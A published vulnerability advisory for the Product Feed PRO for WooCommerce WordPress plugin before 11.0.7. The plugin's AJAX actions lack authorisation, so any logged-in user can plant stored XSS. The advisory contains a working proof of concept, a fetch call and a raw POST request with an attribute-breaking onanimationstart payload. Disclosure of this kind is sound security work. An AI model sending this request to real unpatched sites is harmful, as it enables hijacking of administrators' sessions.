WordPress Plugin Vulnerabilities

Product Feed PRO for WooCommerce < 11.0.7 - Subscriber+ Settings Update to Stored XSS

Description

The plugin does not have authorisation and CSRF check in some of its AJAX actions, allowing any authenticated users to call then, which could lead to Stored Cross-Site Scripting issue (which will be triggered in the admin dashboard) due to the lack of escaping.

v10.9.1 added a CSRF check, however authorisation was still missing until 11.0.7

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
    "headers": {
        "content-type": "application/x-www-form-urlencoded",
    },
    "body": "action=woosea_add_attributes&attribute_name=x&attribute_value=\'\" style=animation-name:blinker onanimationstart=alert(1) x=&active=true",
    "method": "POST"
});

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 138
Connection: close
Cookie: [any authenticated user]

action=woosea_add_attributes&attribute_name=x&attribute_value='"+style=animation-name:blinker+onanimationstart=alert(/XSS/)+x=&active=true

The XSS will be triggered when creating a feed (at the second step/page)

Affects Plugins

Fixed in 11.0.7

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2021-12-23 (about 2 years ago)
Added
2021-12-23 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)

Other